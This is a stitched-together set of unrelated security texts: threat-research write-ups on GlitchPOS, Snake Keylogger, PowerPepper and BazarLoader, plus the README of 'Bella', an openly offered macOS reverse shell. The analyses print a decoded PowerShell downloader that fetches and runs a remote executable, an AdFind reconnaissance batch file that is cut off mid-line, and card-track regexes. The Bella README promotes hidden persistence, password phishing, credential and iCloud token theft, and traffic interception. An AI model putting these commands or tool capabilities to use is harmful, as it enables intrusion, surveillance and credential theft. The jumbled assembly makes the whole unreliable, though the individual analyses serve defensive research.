`(%B)\d{0,19}\^[\w\s\/]{2,26}\^\d{7}\w*\?` The purpose of this regular expression is to detect Track 1 format. Here is an example of Track 1: - Cardholder: M. TALOS - Card number*: 1234 5678 9012 3445 - Expiration: 01/99 - `%B1234567890123445^TALOS/M.` The purpose of this regular expression is to detect Track 2: - `;\d{13,19}=\d{7}\w*\?` Here is an example of Track 2 based on the previous example: - `;1234567890123445=99011200XXXX00000000?*` If a match is identified in memory, the result is sent to the C2 server. The malware maintains an exclusion list provided by the server. Here is the default list: chrome, firefox, iexplore, svchost, smss, csrss, wininit, steam, devenv, thunderbird, skype, pidgin, services, dwn, dllhost, jusched, jucheck, lsass, winlogon, alg, wscntfy, taskmgr, taskhost, spoolsv, qml, akw. ### Panel Here are some additional screenshots of the GlitchPOS panel. These screenshots were provided by the seller to promote the malware. ### Linked with DiamondFox L!NK Botnet The first mention of GlitchPOS was on Feb. 2, 2019, on a malware forum. Edbitss is allegedly the developer of the DiamondFox L!NK botnet in 2015/2016 and 2017 as explained in a report by CheckPoint. The developer created a video to promote GlitchPOS, showing the author set up the malware and capture data from a swiped card. The built malware is sold for $250, the builder $600, and the gate address change is charged at $80. ### Panel Similarities In addition to the malware language (VisualBasic), we identified similarities between the DiamondFox panel and the GlitchPOS panel. Both dashboards' world maps are similar. The author used the same terminology such as "Clients" or "Tasks" on the left menu. The icons are the same too in both panels, as well as the infected machine list (starting with the HWID). The PHP file naming convention is similar to DiamondFox, too. The author clearly reused code from the DiamondFox panel on the GlitchPOS panel. ### Comparison of GlitchPOS and the DiamondFox POS Module In 2017, the DiamondFox malware included a POS plugin. We decided to check if this module was the same as GlitchPOS, but it is not. For DiamondFox, the author decided to use the leaked code of BlackPOS to build the credit card grabber. On GlitchPOS, the author developed its own code to perform this task and did not use the previously leaked code. ### Bad Guys Are Everywhere It's interesting to see that someone else attempted to push the same malware 25 days after Edbitss on an alternative forum. This attacker even tried to cash in by increasing some prices. Some members even attempted to call out the unscrupulous behavior. With the different information we have, we think that Chameleon101 has taken the previous malware created by Edbitss to sell it on an alternative forum at a higher price. ## Conclusion This investigation shows us that POS malware is still attractive and some people are still working on the development of this family of malware. We can see that Edbitss developed malware years even after being publicly mentioned by cybersecurity companies. He left DiamondFox to switch to a new project targeting point-of-sale. The sale opened a few weeks ago, so we don't know yet how many people bought it or use it. We also see that bad guys steal the work of each other and try to sell malware developed by other developers at a higher price. The final word will be a quote from Edbitss on a DiamondFox screenshot published by himself: "In the future, even bank robbers will be replaced." ## Coverage Additional ways our customers can detect and block this threat are listed below. **Advanced Malware Protection (AMP)** is ideally suited to prevent the execution of the malware used by these threat actors. **Cisco Cloud Web Security (CWS)** or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks. **Network Security appliances** such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), and Meraki MX can detect malicious activity associated with this threat. **AMP Threat Grid** helps identify malicious binaries and build protection into all Cisco Security products. **Umbrella**, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. **Open Source SNORTⓇ Subscriber Rule Set** customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. ## Indicators of Compromise (IOCs) The following IOCs are associated with this campaign: - GlitchPOS samples - `ed043ff67cc28e67ba36566c340090a19e5bf87c6092d418ff0fd3759fb661ab` (SHA256) - `abfadb6686459f69a92ede367a2713fc2a1289ebe0c8596964682e4334cee553` (SHA256) - C2 server: `coupondemo.dynamicinnovation.net` - URLs: - `hxxp://coupondemo.dynamicinnovation.net/cgl-bin/gate.php` - `hxxp://coupondemo.dynamicinnovation.net/admin/gate.php` - `hxxp://coupondemo.dynamicinnovation.net/glitch/gate.php`
# Bella Bella is a pure Python post-exploitation data mining tool and remote administration tool for macOS. 🍎💻 ## What is it? Bella, a.k.a. the server, is an SSL/TLS encrypted reverse shell that can be dropped on any system running macOS >= 10.6. Bella offers the following features: 1. Pseudo-TTY that emulates an SSH instance [CTRL-C support for most functions, streaming output, full support for inline bash scripting, tab completion, command history, blocking command handling, etc]. 2. Auto installer! Just execute the binary, and Bella takes care of the rest - a persistent reverse shell in a hidden location on the hard drive, undetectable by anti-viruses. 3. Upload / Download any file[s]. 4. Reverse VNC Connection. 5. Stream and save the computer's microphone input. 6. Login / keychain password phishing through system prompt. 7. Apple ID password phishing through iTunes prompt. 8. iCloud Token Extraction. 9. Accessing all iCloud services of the user through extracted tokens or passwords. This includes: iCloud Contacts, Find my iPhone, Find my Friends, iOS Backups. 10. Google Chrome Password Extraction. 11. Chrome and Safari History Extraction. 12. Auto Keychain decryption upon discovery of kc password. 13. macOS Chat History. 14. iTunes iOS Backup enumeration. 15. Extensive logging of all Bella activity and downloaded files. 16. VERY comprehensive data storage. All information that Bella discovers [tokens, passwords, etc] is stored in an encrypted SQL database on the computer running Bella. This information is used for faster function execution, and a "smarter" reverse shell. 17. Complete remote removal of Bella. 18. An interactive shell for commands such as nano, ftp, telnet, etc. 19. A lot of other great features! Mess around with it to see it in action. These are some of the features available when we are in the userland. This shell is accessible at any time when the user has an internet connection, which occurs when they are logged in and the computer is not asleep. If we get root, Bella's capabilities greatly expand. Similar to the `getsystem` function on a meterpreter shell, Bella has a `get_root` function that will attempt to gain root access through a variety of means, including through a phished user password and/or local privilege escalation exploits if the system is vulnerable. Upon gaining root access, Bella will migrate over to a hidden directory in `/Library`, and will load itself as a LaunchDaemon. This now provides remote access to the Bella instance at all times, as long as the computer has a network connection. Once we get root, we can do the following: 1. MULTI-USER SUPPORT! Bella will keep track of all information from any active users on the computer in a comprehensive database, and will automatically switch to the active computer user. All of the aforementioned data extraction techniques are now available for every user on the machine. 2. Decrypt ALL TLS/SSL traffic and redirect it through the control center! [a nice, active, MITM attack]. 3. Disable/Enable the Keyboard and/or Mouse. 4. Load an Insomnia KEXT to keep a connection open if the user closes their laptop. 5. Automatic dumping of iCloud Tokens and Chrome passwords [leverages keychaindump and chainbreaker if SIP is disabled]. 6. A lot of behind the scenes automation. ## HOW TO USE Bella's power lies in its high level of automation of most of the painstaking tasks that one faces in a post-exploitation scenario. It is incredibly easy to set up and use, requires no pre-configuration on the target, and very little configuration on the Control Center. It leverages the incredible behind the scenes power of macOS and Python for a fluid post-exploitation experience. 1. Download / clone this repository onto a macOS or Linux system. 2. Run `./BUILDER` and enter the appropriate information. It should look something like this: 3. That's it! Bella is all ready to go. Just upload and execute Bella on your macOS target. 4. Now run `Control Center.py` on your macOS or Linux control center. It requires no dependencies [except for mitmproxy if you want to MITM]. It will do some auto-configuration, and you will see something like this after a few seconds. The Control Center will constantly update this selection, for up to 128 separate computers. 5. Press `Ctrl-C` to choose from the selection, and then type in the number of the computer that you want. You will then be presented with a screen like this. 6. Start running commands! `bella_info` is a great one. Run `manual` to get a full manual of all of the commands. Also, you can hit tab twice to see a list of available commands. **VERY IMPORTANT DISCLAIMER:** USE BELLA RESPONSIBLY. BY USING BELLA YOU AGREE TO THE MIT LICENSE CONTAINED IN THIS REPOSITORY. READ THE LICENSE BEFORE USING BELLA. Little note: Bella works across the internet, if you do some configuration. Configure your firewall to forward Bella's port to your Control Center. Other important ports to forward: 1) VNC - 5500. 2) Microphone - 2897. 3) MITM - 8081. 4) Interactive Shell - 3818. Also, VNC relies on the RealVNC application for macOS, as it is one of the few clients that supports a reverse VNC connection. It is free to download and use. VNC and Microphone streaming are not yet supported for Linux control centers. ## Other Information This project is being actively maintained. Please submit any and all bug reports, questions, feature requests, or related information. Bella leverages keychaindump, VNC, microphone streaming, etc., by sending base64 encoded C binaries over to the Bella server / target. I have included pre-compiled and encoded files in the `Payloads/payloads.txt` file. If you wish to compile your own version of these payloads, here is what to do after you compile them: 1. Encode them in base64 and put them in the `payloads.txt` in the following order, each one separated by a new line: vnc, keychaindump, microphone, rootshell, insomnia, lock_icon, chainbreaker. `payload_generator` in the Payloads directory should help with this. Please let me know if you have any issues. ### TODO 1. Reverse SOCKS proxy to tunnel our traffic through the server. 2. Firefox password decryption / extraction. 3. Keystroke logging with legible output [80% done]. 4. VNC and Microphone functionality for a Linux Control Center. #### Some design points 1. As previously stated, Bella is a pseudo-TTY. By this, the base socket and remote code execution handling of Bella is a fairly abstracted version of a very simple request-response socket. Bella receives a command from the server. If the command matches a pre-programmed function (i.e., chrome history dump), then it will perform that function and send the response back to the client. The client will then handle the response in the same way. After processing the response, it will prompt the client for another command to send. 2. Issues with a low-level socket are numerous, and not limited to: - Program execution that blocks and hangs the pipe, waiting for output that never comes (sudo, nano, ftp). - Not knowing how much data to expect in the socket.recv() call. - Not being able to send ctrl-C, ctrl-Z and similar commands. - No command history. - A program that crashes can kill a shell. - One-to-one response and request. 3. Bella addresses the above by: - `recv()` and `send()` functions that serialize the length of the message, and loop through response/requests accordingly. - Readline integration to give a more 'tty' like feel, including ctrl-C support, command history, and tab completion. - Detecting programs that block, and killing them. - Allowing multiple messages to be sent at once without the client prompting for more input (great for commands like ping, tree, and other commands with live updates). For full information on the pre-programmed functions, run the `manual` command when connected to the server.
# Deep Dive into a Fresh Variant of Snake Keylogger Malware Fortinet’s FortiGuard Labs recently captured a Microsoft Excel sample from the wild that was used to spread malware. After researching its behaviors, I recognized it as a fresh variant of the Snake Keylogger malware. Snake Keylogger is a malware developed using .NET. It first appeared in late 2020 and focused on stealing sensitive information from a victim’s device, including saved credentials, the victim’s keystrokes, screenshots of the victim’s screen, and clipboard data. In July 2021, Snake Keylogger first entered into a TOP 10 popular malware families report, meaning that the Snake Keylogger family is increasing its influence and impacting more people’s devices and sensitive data. In this threat research blog, you will learn how the Snake Keylogger variant is downloaded and executed through a captured Excel sample, what techniques this variant uses to protect it from being analyzed, what sensitive information it steals from a victim’s machine, and how it submits that collected data to the attacker. **Affected platforms:** Microsoft Windows **Impacted parties:** Windows Users **Impact:** Collects sensitive information from victims’ devices **Severity level:** Critical ## What the Captured Microsoft Excel Sample Looks Like This Excel sample, delivered as an attachment in a phishing email, contains malicious Macro VBA code. It displays a vague picture of a document and asks the victim to click the yellow button to get a clearer image. Once the yellow button “Enable Content” is clicked by the victim, the malicious VBA code is executed in the background. The malicious macro project that contains the malicious VBA code is password protected so it cannot be viewed by the analyzer. However, we were able to modify its binary file to remove this restriction. Going through its code, a “Workbook_Activate()” method is automatically called when the document is opened. It writes a piece of PowerShell code from a local variable into a BAT file. The variable “s” holds the PowerShell code and "Gqyztfbtsogpnruooqr.bat" is the BAT file, which is finally executed by calling code “x = Shell(bat, 0)”. The bottom of the code shows the content of variable “s”, which contains the base64-encoded PowerShell code that is decoded by PowerShell.exe when it is executed. Below is the base64-decoded PowerShell code: ```powershell $ProcName = "Wheahmnfpgaqse.exe"; (New-Object System.Net.WebClient).DownloadFile("hxxp[:]//3[.]64[.]251[.]139/v3/2/Requests07520000652.exe","$env:APPDATA\$ProcName"); Start-Process ("$env:APPDATA\$ProcName") ``` The PowerShell code is very simple and easy to understand. It downloads a file (“Requests07520000652.exe”) onto a victim’s device, places it at “%AppData%\Wheahmnfpgaqse.exe" by calling “DownloadFile()”, and executes it by calling “Start-Process()”. ## Snake Keylogger Downloader After some research, I learned that the file "Wheahmnfpgaqse.exe" is a downloader of Snake Keylogger, which is a .NET program. When it starts, it sleeps 21 seconds to bypass those sandboxes with a strategy of killing a sample process when a timeout of no-action is triggered. Twenty-one seconds later, the downloader then invokes a function called “Constructor()”. It then invokes another function “Program.List_Types()”, where it downloads the Snake Keylogger module from the link “hxxps[:]//store2[.]gofile[.]io/download/0283e6ba-afc6-4dcb-b2f4-3173d666e2c4/Huzeigtmvaplpinhoo.dll”, which is an RC4 encrypted DLL file. Next, it calls “ToRc()” function to RC4 decrypt it using a decryption key "Dllzjn". It then proceeds to load the decrypted DLL module (a .NET DLL file, called “Huzeigtmvaplpinhoo.dll”), and enumerates its export functions to find "G6doICqoMU()", which is invoked by executing “type.InvokeMember(\"G6doICqoMU\", BindingFlags.InvokeMethod, null, null, null)” in function Constructor(). The decrypted .NET DLL is a dropper and installer of Snake Keylogger. ## Snake Keylogger Installer According to my analysis, the decrypted DLL module (“Huzeigtmvaplpinhoo.dll”) deploys Snake Keylogger onto a victim’s device and sets it as an auto-run program. It extracts an executable PE file into memory from the Resource directory and then performs process hollowing that injects the executable PE file into a newly created child process and executes it. ### 1. Persistence Mechanism Figure 3.1 shows an outline of the decrypted DLL module (“Huzeigtmvaplpinhoo.dll”). To prevent its code from being analyzed, the file is obfuscated so that the class names, function names, and variable names are all randomly generated meaningless strings. This creates trouble for analysts when analyzing it. The full name of the export function “G6doICqoMU()” is “Huzeigtmvaplpinhoo!pXfqpio3clcAoFxTnfJ.CORFgLoyRGlurYwdwIh.G6doICqoMU()”. Again, for the same reason as before, it sleeps 35 seconds at the beginning of this function to bypass some malware analysis systems. Next, it works to make this Snake Keylogger persistent on the infected Windows. A Windows system has a “Startup” folder inside the “Start Menu”. The programs inside this folder are started when Windows starts. The full path to this folder is defined in the system registry with a string value of “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup” and “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Startup”. The value data of “Startup” is C:\Users\{UserName}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” by default. This variant of Snake Keylogger changes both the values of “Startup” to other folders. “chsg” is a new folder created by Snake Keylogger. The program copies the Snake Keylogger file (the downloaded "Wheahmnfpgaqse.exe") into this folder and renames it as “sgosr.exe”. This ensures that Snake Keylogger will be started by the Windows system every time it starts. ### 2. Extraction from Resource Although the content of Huzeigtmvaplpinhoo.dll only appears in memory, to analyze it I saved it into a local file. It has several resources in the Resource directory. The process of extracting the payload file of Snake Keylogger is a little complicated. It uses a tricky way to load the resource. It has a local callback function defined by ResolveEventHandler that is registered to AppDomain.ResourceResolve, which is then called when it fails to load a resource by name. It looks like an exception handler to Windows SEH strategy to handle exceptions. In addition, it has another local callback function registered to AppDomain.AssemblyResolve, which is called when it fails to load an assembly (like a module) by name. Now, let’s see how Snake Keylogger solves this challenge—loading a nonexistent resource, which will trigger the resource loading failure. It plans to read a Resource named "Qkxkikeg" from the current module, which has no such named resource in the Resource directory. A resource loading failure occurs and the registered local ResolveEventHandler function is called to solve this error. This then causes a loading assembly failure and its assembly resolve callback function is called. A while later, another PE file, decrypted from resource “{d977ee8c-85ce-4731-b9a1-323ba88c6eeb} ”, appears in memory. It contains a resource with the name “Qkxkikeg”, which is the original request resource name. The payload of Snake Keylogger is just a compressed in GZIP format in the resource “Qkxkikeg” under the Resource directory “ClassLibrary1.Properties.Resources”. ### 3. Process Hollowing The program then creates a suspended child process and deploys the compressed Snake Keylogger payload into the child process. It then resumes the child process to run. Meanwhile, the parent process exits by calling the function Environment.Exit(0). According to the code, it is about to call API CreateProcess() to create the child process with Creation Flag 134217732U (0x8000004), which means CREATE_NO_WINDOW and CREATE_SUSPENDED. It then calls the API WriteProcessMemory() to copy the Snake Keylogger payload into the child process, section by section. It next calls SetThreadContext() to make the child process point to the entry point function of Snake Keylogger. Before the parent process exits, an API ResumeThread() is called to have the child process restored to run. ## Snake Keylogger Payload The code of the Snake Keylogger payload file is fully obfuscated to protect it from being analyzed. Therefore, to better analyze and explain its code and intention, I deobfuscated the payload file using the tool “de4dot”. This made its code more readable, and my analysis is based on that result. Going through the Snake Keylogger code, I realized that it provides features like recording a victim’s keystrokes (the keylogger), stealing data from the clipboard, obtaining a victim’s screenshot, stealing the data on the system clipboard, as well as stealing saved credentials for some specified software clients installed on a victim’s device. ### 1. Keylogger Feature It calls API SetWindowsHookExA() to register a hook callback function to monitor low-level keyboard input events. The first parameter is the hook type, where “13” indicates WH_KEYBOARD_LL. After that, the callback function is called by the Windows system when the victim types, so it is able to handle and record the keystrokes into a global string variable. It also records the foreground Window title to identify where the victim types. ### 2. Screenshot It is able to take screenshots of the victim’s device. It has a Timer, which captures the victim’s screenshots from time to time by calling API CopyFromScreen(). It saves the screenshot into a local Screenshot.png file in the system’s “MyDocuments” folder. It also sends this picture file to the attacker. ### 3. System Clipboard It has two Timers. One is used to collect system clipboard data by calling Clipboard.GetText() and save to a global variable. The other is used to send collected clipboard data to the attacker. ### 4. Steal Credentials This variant’s main work is to steal credentials from the victim’s device. It implements stealing credentials in the Main() function. This is the deobfuscated Main() function showing the functions used to steal credentials from various clients. The function at the bottom submits the stolen credentials. These functions obtain the saved credentials for each software from the different places they are saved, including local files (like Chrome) and system registry (like Outlook), etc. I will now use Outlook as an example to explain how Snake Keylogger collects credentials. It goes through four registry paths for different Outlook versions to read out “Email” and "IMAP Password" or "POP3 Password" or "HTTP Password" or "SMTP Password" and “SMTP Server”. Below is an example showing what credentials information Snake Keylogger can collect from Microsoft Outlook: ``` -------- Snake Keylogger -------- Found From: Outlook URL: smtp.gmail.com E-Mail: [email protected] PSWD: {Password} --------------------------------- ``` I have categorized those clients that Snake Keylogger focuses on as below: **Web Browsers:** Google Chrome, Mozilla Firefox, Mozilla SeaMonkey Browser, Mozilla IceCat Browser, Yandex Browser, Microsoft Edge, Amigo Browser, Nichrome Browser, QQBrowser, Coccoc Browser, Orbitum Browser, Slimjet Browser, Iridium Browser, Vivaldi Browser, Iron Browser, Ghost Browser, Cent Browser, Xvast Browser, Chedot Browser, SuperBird Browser, 360 Browser, 360 Secure Browser, Comodo Dragon Browser, Brave-Browser, Torch Browser, UC Browser, Blisk Browser, Epic Privacy Browser, Opera Web Browser, Liebao Browser, Avast Browser, Kinza Browser, BlackHawk Browser, Citrio Browser, Uran Browser, Coowon Browser, 7 Star Browser, QIP Surf Browser, Sleipnir Browser, Chrome Canary Browser, CoolNovo Browser, SalamWeb Browser, Sputnik Browser Extension, Falkon Browser, Elements Browser, Slim Browser, Ice Dragon Browser, CyberFox Browser, PaleMoon Browser, Waterfox Browser, Kometa Browser and various browsers designed based on Chromium project. **Email Clients:** Microsoft Outlook, Tencent Foxmail, Mozilla Thunderbird and Postbox. **Other Clients:** FileZilla, Pidgin and Discord. ## Sending the Stolen Data to the Attacker Per the code of this variant of Snake Keylogger, it sends an email to the attacker (using SMTP protocol) to submit the stolen credentials data of the victim. Snake Keylogger collects basic information regarding the victim’s Windows system, like User name, PC name, System Date and Time, Public IP address, and Country, which are put in the header of the collected credentials. To send stolen data to the attacker, it defines some variables containing the sender’s email address, password, SMTP server address, and SMTP port. Besides sending data via email, this Snake Keylogger variant also offers FTP and Telegram methods to submit collected sensitive data to the attacker. For FTP, the attacker needs to set up an FTP server and then tell Snake Keylogger the address of the FTP server and credentials for Snake Keylogger to upload stolen sensitive data. For Telegram, Snake Keylogger uses the “sendDocument” method of the “Telegram Bot API” to submit its stolen data to the Telegram account that the attacker provides. ## Conclusion on Snake Keylogger Malware In order to better understand the entire process of this malware, I drew a flow chart that outlines the main steps explained in this analysis. At the beginning of this analysis, we went through how a malicious Macro inside an Excel document executes PowerShell that downloads the Snake Keylogger's downloader. Next, I focused more on how the Snake Keylogger installer performs persistence on the victim's device and the complicated, tricky way it extracts the payload of Snake Keylogger. I then elaborated on the features this variant of Snake Keylogger offers, like recording keystrokes, collecting credentials data, clipboard data, and screenshots. And finally, I explained how the collected data is submitted to the attacker via email, as well as two other methods: FTP and Telegram. ## Fortinet Protections Fortinet customers are already protected from this malware by FortiGuard’s Web Filtering, AntiVirus, FortiEDR, and CDR (content disarm and reconstruction) services, as follows: - The malicious Macro inside the Excel sample can be disarmed by the FortiGuard CDR service. - All relevant URLs have been rated as "Malicious Websites" by the FortiGuard Web Filtering service. - The original Excel sample and Snake Keylogger downloader files are detected as "VBA/SnakeKeylogger.84D0!tr" and "MSIL/SnakeKeylogger.ADFA!tr" and are blocked by the FortiGuard AntiVirus service. - FortiEDR detects the downloaded executable file as malicious based on its behavior. - FortiMail protects Fortinet customers by blocking phishing emails. We also suggest that readers go through the free NSE training: NSE 1 – Information Security Awareness, which has a module on Internet threats designed to help end users learn how to identify and protect themselves from phishing attacks. ## IOCs **URLs:** - "hxxp[:]//3[.]64[.]251[.]139/v3/2/Requests07520000652.exe" - "hxxps[:]//store2[.]gofile[.]io/download/0283e6ba-afc6-4dcb-b2f4-3173d666e2c4/Huzeigtmvaplpinhoo.dll" **Sample SHA-256:** - [SOA# 1769.xlsm] 3B437BAA9A07E9DECE2659F20B5D97F8F729BA077D399933041CDC656C8D4D04 - [Requests07520000652.exe or Wheahmnfpgaqse.exe] 53D520C1F12FE4E479C6E31626F7D4ABA5A65D107C1A13401380EBCA7CCA5B05
# Infamous Hacker-for-Hire Group DeathStalker Hits the Americas & Europe With New PowerPepper Malware **December 03, 2020** Woburn, MA – December 3, 2020 – Kaspersky researchers have spotted new malware activity in the wild from DeathStalker, the advanced persistent threat (APT) actor known for offering hacking-for-hire services targeting companies in the financial and legal sectors. The group was found using a new malware implant and delivery tactics involving a backdoor Kaspersky has dubbed PowerPepper. The backdoor is used to remotely take control of victim devices. It leverages DNS over HTTPS as a communication channel, in order to hide communications with the control server behind legitimate-looking traffic. PowerPepper also uses several evasion techniques, including steganography, a method for disguising data. DeathStalker is a highly unusual APT actor. Active since at least 2012, the group conducts espionage campaigns against small and medium-sized businesses, particularly law firms and financial services organizations. Unlike other APT groups, it doesn’t appear to be politically motivated or seek financial gain from the companies they target. Rather, they act as mercenaries, offering their hacking services for a price. Kaspersky researchers have recently uncovered new malicious campaigns from DeathStalker. Like other malware strains associated with the group, PowerPepper is typically spread via spearphishing emails with the malicious files delivered via the email body or within a malicious link. The group has exploited international events, carbon emission regulations, and even the pandemic to trick their victims into opening the malicious documents. The main malicious payload is disguised using steganography, a process that allows attackers to hide data amid legitimate content. In the case of PowerPepper, the malicious code is embedded in what appears to be regular pictures of ferns or peppers (hence the name) and is then extracted by a loader script. Once that happens, PowerPepper begins to execute remote shell commands sent by DeathStalker operators, which are aimed at stealing sensitive business information. The malware can carry out any shell command on the targeted system, including those for standard data reconnaissance, such as gathering the computer’s user and file information, browsing network file shares, and downloading additional binaries or copying content to remote locations. The commands are obtained from the control server through DNS over HTTPS communications, an effective way to disguise malicious communications behind legitimate server name queries. The use of steganography is just one of several obfuscation and evasion techniques employed by the malware. The loader is disguised as a verification tool from identity services provider GlobalSign. It uses custom obfuscation, and parts of the malicious delivery scripts are hidden in Word-embedded objects. Communications with the implant and servers are encrypted and, thanks to the use of trusted, signed scripts, antivirus software won’t necessarily recognize the implant as malicious at startup. PowerPepper has been seen in attacks across Europe primarily, but also in the Americas and Asia. In previously described campaigns, DeathStalker mainly targeted law consultancy firms and organizations that provide financial or cryptocurrency services. “PowerPepper once again proves that DeathStalker is a creative threat actor: one capable of consistently developing new implants and toolchains in a short period of time,” said Pierre Delcher, security expert at Kaspersky. “PowerPepper is already the fourth malware strain affiliated with the actor, and we have discovered a potential fifth strain. Even though they are not particularly sophisticated, DeathStalker’s malware has proven to be quite effective, perhaps because their primary targets are small and medium-sized organizations—organizations that tend to have less robust security programs. We expect DeathStalker to remain active, and we will continue to monitor its campaigns.” To protect your organizations from attacks like PowerPepper, Kaspersky experts recommend: - Provide your SOC team with access to the latest threat intelligence (TI). The Kaspersky Threat Intelligence Portal is a single point of access for the company’s TI, providing cyberattack data and insights gathered by Kaspersky over more than 20 years. - To minimize the risk of infection through phishing emails, companies should educate their employees with basic cybersecurity hygiene training to be wary of emails from unknown senders. If they receive such letters, they shouldn’t open attachments or click any links in them before making sure the letter is legitimate. - To protect medium-sized businesses from such advanced attacks, it’s better to use endpoint security solutions with EDR functionality. Kaspersky’s Integrated Endpoint Security solution detects an attack and provides a wide range of response actions optimized for IT and security teams of mid-sized companies.
# Case Study: From BazarLoader to Network Reconnaissance **By Brad Duncan** **October 18, 2021** **Category: Unit 42** **Tags: BazaLoader, Cobalt Strike, CobaltStrike macros** ## Executive Summary BazarLoader is Windows-based malware spread through various methods involving email. These infections provide backdoor access that criminals use to determine whether the host is part of an Active Directory (AD) environment. If so, criminals deploy Cobalt Strike and perform reconnaissance to map the network. If the results indicate a high-value target, criminals attempt lateral movement and will often deploy ransomware like Conti or Ryuk. This blog reviews a recent BazarLoader infection, how it led to Cobalt Strike, and how Cobalt Strike led to network reconnaissance. If you discover similar activity within your network, you could be a target for ransomware. Organizations with decent spam filtering, proper system administration, and up-to-date Windows hosts have a much lower risk of infection. Palo Alto Networks customers are further protected from this threat. Our Threat Prevention security subscription for the Next-Generation Firewall detects the BazarLoader sample from this infection and similar samples. Endpoint detection like Cortex XDR can prevent Cobalt Strike activity and criminal access to your network. ## Distribution Methods for BazarLoader During summer 2021, different campaigns distributed BazarLoader malware using emails. From late July through mid-August 2021, the majority of BazarLoader samples were spread through three campaigns. The BazarCall campaign pushed BazarLoader using emails for initial contact and call centers to guide potential victims to infect their computers. By early July, a copyright violation-themed campaign using ZIP archives named Stolen Images Evidence.zip also began pushing BazarLoader. By late July, a long-running campaign known as TA551 (Shathak) started pushing BazarLoader through English-language emails. In addition to those three major campaigns, we discovered at least one example of BazarLoader distributed through an Excel spreadsheet of undetermined origin. Our case study reviews an infection generated using this example on Aug. 19, 2021. ### Malicious Excel Spreadsheet The malicious Excel spreadsheet was discovered on Wednesday, Aug. 18, 2021, and it has a last modified date of Tuesday, Aug. 17. The filename had an .xlsb file extension. This file has macros designed to infect a vulnerable Windows host with BazarLoader. Though the DocuSign logo appears in the spreadsheet, this Excel template was created by a threat actor trying to instill confidence by taking advantage of the DocuSign brand name and image. Various threat actors use this and other DocuSign-themed images on a near-daily basis. DocuSign is aware of this ongoing threat and provides guidelines on how to handle these types of malicious files. After enabling malicious macros on a vulnerable Windows host, the spreadsheet presented a new tab for a page with fake invoice information. As it presented the fake invoice page, the spreadsheet’s macro code had already retrieved a malicious binary for BazarLoader. ### BazarLoader Binary The spreadsheet’s macro code retrieved a malicious Dynamic Link Library (DLL) file for BazarLoader from the following URL: hxxps://pawevi[.]com/lch5.dll. The DLL was saved to the victim’s home directory at C:\Users\[username]\tru.dll. It ran using regsvr32.exe. The BazarLoader DLL was immediately copied to another location and made persistent through the Windows registry. The filename changed from tru.dll to kibuyuink.exe, even though it remained a DLL and still required regsvr32.exe to run. Changing the filename extension is a common tactic seen in various malware infections. ### Bazar C2 Traffic This example of BazarLoader generated command and control (C2) activity, retrieving BazarBackdoor using HTTPS traffic from 104.248.174[.]225 over TCP port 443. Then BazarBackdoor generated C2 activity using HTTPS traffic to 104.248.166[.]170 over TCP port 443. This combined C2 activity is referred to as Bazar C2 traffic. This example of Bazar C2 activity generates traffic to legitimate domains. This activity is not inherently malicious on its own. Various malware families generate similar traffic as a connectivity check or to ensure an infected Windows host has continued internet access. ### Cobalt Strike Activity Approximately 41 minutes after the initial BazarLoader infection, our infected Windows host started generating Cobalt Strike activity using HTTPS traffic to gojihu[.]com and yuxicu[.]com. In this case, a Cobalt Strike DLL file was sent through Bazar C2 traffic and saved to the infected Windows host under the user’s AppData\Roaming directory. Cobalt Strike leads to reconnaissance of an infected host’s environment. In our lab environments, this reconnaissance activity can start within a few minutes after Cobalt Strike traffic first appears. ### Reconnaissance Activity In our case study, approximately two minutes after Cobalt Strike activity started, a tool to enumerate an AD environment appeared on the infected host at C:\ProgramData\AdFind.exe. This tool has been used by criminal groups to gather information from an AD environment. AdFind is a command line tool, and an associated batch file was used to run the tool in our case study. These commands reveal the users, computers, file shares, and other information from a targeted AD environment. Our example did not involve a high-value target, and the environment was wiped within two or three hours after the initial infection. In this example, no follow-up ransomware was sent after the reconnaissance. ## Conclusion This case study reveals one example of an initial malware infection moving to Cobalt Strike, followed by reconnaissance activity. When attackers use Cobalt Strike, they can also perform other types of reconnaissance in an AD environment. If the AD environment is a high-value target, the attacker’s next step is lateral movement and gaining access to the domain controller and other servers within the network. This is a common pattern seen before attackers hit an organization with ransomware. Organizations with decent spam filtering, proper system administration, and up-to-date Windows hosts have a much lower risk of infection. Palo Alto Networks customers are further protected from this threat. Our Threat Prevention security subscription for the Next-Generation Firewall detects this and similar BazarLoader samples. Endpoint detection like Cortex XDR can prevent Cobalt Strike activity and criminal access to your network. Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. ## Indicators of Compromise - **Excel file with macros for BazarLoader, SHA256 hash:** 8662d511c7f1bef3a6e4f6d72965760345b57ddf0de5d3e6eae4e610216a39c1 File size: 332,087 bytes File name: Documents new.xlsb - **Malicious DLL for BazarLoader retrieved by above Excel macro, SHA256 hash:** caa03c25583ea24f566c2800986def73ca13458da6f9e888658f393d1d340ba1 File size: 459,776 bytes Online location: hxxps://pawevi[.]com/lch5.dll Initial saved location: C:\Users\[username]\tru.dll Final location: C:\Users\[username]\AppData\Local\Temp\Damp\kibuyuink.exe Run method: regsvr32.exe /s [filename] - **Malicious DLL for Cobalt Strike, SHA256 hash:** 73b9d1f8e2234ef0902fca1b2427cbef756f2725f288f19edbdedf03c4cadab0 File size: 443,904 bytes File location: C:\Users\[username]\AppData\Roaming\nubqabmlkp.iowd Run method: rundll32.exe [filename],Entrypoint - **ADfind command-line tool for enumerating AD environment, SHA256 hash:** b1102ed4bca6dae6f2f498ade2f73f76af527fa803f0e0b46e100d4cf5150682 File size: 1,394,176 bytes File location: C:\ProgramData\AdFind.exe - **Batch file to run ADfind, SHA256 hash:** 1e7737a57552b0b32356f5e54dd84a9ae85bb3acff05ef5d52aabaa996282dfb File size: 385 bytes File location: C:\ProgramData\adf.bat Contents of adf.bat: ``` adfind.exe -f "(objectcategory=person)" > ad_users.txt adfind.exe -f "objectcategory=computer" > ad_computers.txt adfind.exe -f "(objectcategory=organizationalUnit)" > ad_ous.txt adfind.exe -sc trustdmp > trustdmp.txt adfind.exe -subnets -f 